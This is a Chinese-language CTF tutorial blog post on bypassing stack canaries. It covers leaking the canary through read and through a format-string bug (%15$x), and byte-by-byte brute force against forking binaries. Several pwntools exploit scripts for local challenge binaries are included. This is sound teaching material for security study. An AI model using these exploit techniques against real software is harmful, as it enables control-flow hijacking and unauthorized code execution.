pwn题绕过canary保护机制新手版

介绍

我的绕过只有三部分:覆盖绕过,泄露绕过,和暴力破解

这部分参考CTFwiki,专业解释
Canary 的意思是金丝雀,来源于英国矿井工人用来探查井下气体是否有毒的金丝雀笼子。工人们每次下井都会带上一只金丝雀。如果井下的气体有毒,金丝雀由于对毒性敏感就会停止鸣叫甚至死亡,从而使工人们得到预警。

我们知道,通常栈溢出的利用方式是通过溢出存在于栈上的局部变量,从而让多出来的数据覆盖 ebp、eip 等,从而达到劫持控制流的目的。栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让shellcode 能够得到执行。当启用栈保护后,函数开始执行的时候会先往栈底插入 cookie 信息,当函数真正返回的时候会验证cookie 信息是否合法 (栈帧销毁前测试该值是否被改变),如果不合法就停止程序运行 (栈溢出发生)。攻击者在覆盖返回地址的时候往往也会将cookie 信息给覆盖掉,导致栈保护检查失败而阻止 shellcode 的执行,避免漏洞利用成功。在 Linux 中我们将 cookie 信息称为 Canary。

由于 stack overflow 而引发的攻击非常普遍也非常古老,相应地一种叫做 Canary 的 mitigation 技术很早就出现在 glibc 里,直到现在也作为系统安全的第一道防线存在。

Canary 不管是实现还是设计思想都比较简单高效,就是插入一个值在 stack overflow 发生的高危区域的尾部。当函数返回之时检测 Canary 的值是否经过了改变,以此来判断 stack/buffer overflow 是否发生。

通俗来说,**
canary保护**是为了防止程序能够被溢出的地方不让溢出

比如一个输入函数能够输入100个字节的内容,但是它的变量只有50个字节的大小,因为这个程序是可以接受你输入超过50个字节大小的内容的。我们就可以先输入50个字节的无用数据,然后再输入一串你想跳转到的地址把后面的return函数存在的原本的地址覆盖了,这样程序执行完这个输入函数就会跳转到你输入的那个地址去。

而canary则是在这个变量的末尾和返回地址之间加上一段canary word(比如aaaaaaaabbb\x00),当你执行到返回函数那里时会把(aaaaaaaabb\x00)和原本存在变量末尾的内容进行比较,如果发现不一样程序就会崩溃。因为你要是想要修改返回地址的话,你一定要把内容写过这个变量,就一定会覆盖掉这串canary字符,而且这些字符是随机的,不能提前写入。

**解释一下\x00,canary word的最低位一定是\x00

canary在汇编中的代码段
关键就是寻找最后一个call ___stack_chk_fail的位置,然后就算找到了canary,至于存储的寄存器(eax,edx)倒是不固定,一般都在输入函数的旁边
在这里插入图片描述
栈的空间分配
在这里插入图片描述

canary常见绕过技术

canary是linux下的保护机制,它会保存在栈的某个位置上,一般来说64位的话会在rbp-0x8的位置,32位则在ebp-0x4的位置。当我们进行栈溢出的时候如果覆盖了canary值,程序就会调用stack_chk_fail来打印报错信息。在做题的时候最烦的就是这种,大大增加了栈溢出时的难度。通常有以下几种绕过方法:

1、通过read函数泄露canary。关键的一点就是read函数读取字符串的时候不会在末尾加上“\x00”,这就是gets函数不能用来泄露canary的原因(有些输出函数遇到‘\0’会截断)。

2、暴力破解canary。这种方法利用起来有限制,就是一般要程序中有fork函数创造出子进程,因为子进程是父进程复制出来的,所以canary也就跟父进程相同,在子进程中覆盖canary后报错就会退回到父进程,此时canary的值是不会改变的。

3、劫持stack_chk_fail。因为canary被覆盖的时候会调用这个函数,所以如果我们可以利用程序中的漏洞(比如格式化字符串)改got表中stack_chk_fail的地址为one_gadget的地址就能getshell。

4、利用stack_chk_fail的报错信息。在报错信息中,会将你发生栈溢出的程序名调用输出,其位置位于argv[0],我们可以将argv[0]的地址改写为我们想要获取的内容的地址,使它随着错误提示一起输出。
《上面这部分来自https://zhuanlan.zhihu.com/p/99321839
我们只介绍第一种和第二种,然后再补充另一种

5,printf泄露canary。需要用到格式化字符串的漏洞

通过read函数泄露

附上题目链接
链接:https://pan.baidu.com/s/1ww_r66KqMTxQyGzdcLphOQ
提取码:qtor
在这里插入图片描述
必然能溢出,就不写了,我们必须要是read函数读入,然后有一个打印函数打印变量的内容才可以,这是环境要求,还要要求有读入函数有两个,这个例子是一个循环
首先我们计算一下buf到cananry的距离
在这里插入图片描述
这三个定义的变量中,buf和i的作用是知道的,那么v3就是存储canary的位置,v3的相对位置为esp+0x6c的位置,buf是esp+0x8的位置,所以buf到canary的字节大小为0x6c-0x8=0x64=100,也可以用ebp相对位置算,结果相同,说明buf需要填充的字节大小为100。

cananryd word的数据形式为0x******00,因为是小端存储,所以在内存最开始的位置存储的是\x00。Canary的值最后两位是0,也就是说是一个字符的大小,如果上面是字符串,写多了一位,刚好把这个00覆盖掉,那么,就能打印出前几位Canary的值

payload='a'*100 + 'b'选择用b来覆盖0x00

在这里插入图片描述
在这里插入图片描述
这就是我们recv到的字符串,所以我们需要优化一下recv(),而且后面出现的cananry是乱码的状态,需要用u32()解开
在这里插入图片描述
在这里插入图片描述ljust()函数自行百度 ,\x00是填充字符,不影响数据本身,只是为了凑够4个字节的填充物
0xf7f242,完整的应该是0xf7f24200,少了个00,说明这正是我们覆盖过的cananry
很重要的一点!!!是send不是sendline,sendline会多发送一个‘\n’,如果你使用sendline,那么请不要多发送那个b,这个\n就会覆盖cananry的\x00,那么得到的结果应该会是0xf7f2420a,请把收到的cananry-0xa才是最后的cananry。
关键点我已经讲了,直接拿别人的exp上来了,我就不写了
在这里插入图片描述
现在我们已经获得了cananry word了,我们已经写到了cannary的位置,然后我们需要获得canary到ebp的大小,v3的变量已经写了,ebp-0xc,所以是12,所以最后exp如下

from pwn import *
context(os = 'linux',arch = 'i386')

io = process('./ex2')

io.recvuntil("Hello Hacker!\n")

# leak Canary
payload = "A"*100
io.sendline(payload)

io.recvuntil("A"*100)
Canary = u32(io.recv(4))-0xa
log.info("Canary:"+hex(Canary))

# Bypass Canary
payload = "A"*100+p32(Canary)+"A"*12+p32(get_shell)
io.send(payload)

io.recv()

io.interactive()
from pwn import *
p = process("./leak_canary")
get_shell = 0x0804859B
p.recvuntil("Hello Hacker!\n")
offset = 0x70-0xC

payload = (offset)*"a" + "b"
p.send(payload)

p.recvuntil("ab")
canary = u32(p.recv(3).rjust(4,"\x00"))

payload2 =(offset)*"a" + p32(canary) + "b"*12 + p32(get_shell)

p.send(payload2)
p.interactive()

通过gets函数泄露

演示文件链接:https://pan.baidu.com/s/13V3DtN4JyLw2ScFinM1bpA
提取码:40q4
参考文章 https://bbs.pediy.com/thread-229447.htm
环境要求:文件必须含有printf(变量)函数,比如printf(a),不能是printf(%s,&a),这是建立在格式化字符串的基础之上的,而且要有两处输入函数,和上面那个一样

介绍一下gets函数,这个函数是最危险的,因为它不会对用户输入进行检查,你输入多少它照盘全收,所以它很容易造成溢出。
在这里插入图片描述
多定义了一个v5,没有使用,是cananry没错。
介绍printf()字符串泄露,复制部分内容https://www.anquanke.com/post/id/85785

格式化字符串漏洞在通用漏洞类型库CWE中的编号是134,其解释为“软件使用了格式化字符串作为参数,且该格式化字符串来自外部输入”。会触发该漏洞的函数很有限,主要就是printf、sprintf、fprintf等print家族函数。介绍格式化字符串原理的文章有很多,我这里就以printf函数为例,简单回顾其中的要点。

printf()函数的一般形式为printf(“format”, 输出表列),其第一个参数就是格式化字符串,用来告诉程序以什么格式进行输出。正常情况下,我们是这样使用的:

char str[100];
scanf("%s",str);
printf("%s",str);

但也有人这么使用

char str[100];
scanf("%s",str);
printf(str)

也许代码编写者的本意只是单纯打印一段字符(如“hello world”),但如果这段字符串来源于外部用户可控的输入,则该用户完全可以在字符串中嵌入格式化字符(如%s)。那么,由于printf允许参数个数不固定,故printf会自动将这段字符当作format参数,而用其后内存中的数据匹配format参数。
在这里插入图片描述

format中文是格式的意思,就是“%~”
%x:输出16进制数据,如%i$x表示要泄漏偏移i处4字节长的16进制数据,

%i$x

表示要泄漏偏移i处8字节长的16进制数据,32bit和64bit环境下一样。
其余的format自行百度

以上图为例,假设调用printf(str)时的栈是这样的。

1)如str就是“hello world”,则直接输出“hello world”;

2)如str是format,比如是%2$x,则输出偏移2处的16进制数据0xdeadbeef。

通过组合变换格式化字符串参数,我们可以读取任意偏移处的数据或向任意偏移处写数据,从而达到利用格式化字符串漏洞的作用。

这里解释一下,printf()读取的内容是有偏移的
在这里插入图片描述
如图所示,真实位置为664,偏移为5,所以如果我们要通过printf()泄露的话,泄露buf输入内容应该发送**%5$x**,可以用第一个题的例子做个试验,断点设为printf@plt处,第一次输入%15 $x就可以发现
在这里插入图片描述
然后printf打印
在这里插入图片描述
打印出来的就是这个位置的地址。然后我们就可以开始泄露cananry了
我们现在printf@plt处下个断点,用来看printf()打印的初始位置
在这里插入图片描述
然后再在这里下一个断点,因为需要它先把cananry的地址交给edx,我们才能对比偏移
在这里插入图片描述
可以看到printf打印buf的初始位置为0xffffd650
然后c
在这里插入图片描述
可以看到cananry的位置存在edx中,为 0x9a44da00,然后我们查看printf存的初始位置的内容
在这里插入图片描述
我们找到了cananry的地址
在这里插入图片描述
所以偏移是0xf,就是15,所以cananry字符应该是%15 $x
在这里插入图片描述
末尾两位是\x00,是我们要找的canary,然后我们需要计算cananry到ebp的大小。
老样子,我们把断点设在cananry的xor处,然后观察栈
在这里插入图片描述
然后我们使用gdb的stack命令观察栈
在这里插入图片描述
我们计算cananry到达栈底返回地址的位置
在这里插入图片描述
这是gdb的p命令,可以自行百度,也可以直接拿0xffffd698-0xffffd68c,
我们得到的canary到ebp的大小为12,所以我们就可以写exp了
。这里我少写了一个s到canary的大小,不过上个方法讲过了,
在这里插入图片描述
所以s到canary的距离为0x3C-0x14=0x28
在这里插入图片描述

暴力破解

环境要求,必须含有fork函数
请参考:https://blog.csdn.net/weixin_43876357/article/details/104232574
https://blog.csdn.net/AcSuccess/article/details/104119680
文件示例链接:https://pan.baidu.com/s/1ZGacUW96NlUzRLdlMKc1og
提取码:500f

from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='i386', os='linux')
local = 1
elf = ELF('./bin1')

if local:
    p = process('./bin1')
    libc = elf.libc

else:
    p = remote('',)
    libc = ELF('./')
p.recvuntil('welcome\n')
canary = '\x00'
for k in range(3):
    for i in range(256):
        print "the " + str(k) + ": " + chr(i)
        p.send('a'*100 + canary + chr(i))
        a = p.recvuntil("welcome\n")
        print a
        if "sucess" in a:
                canary += chr(i)
                print "canary: " + canary
                break

感谢观看,欢迎留言评论
在这里插入图片描述

评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值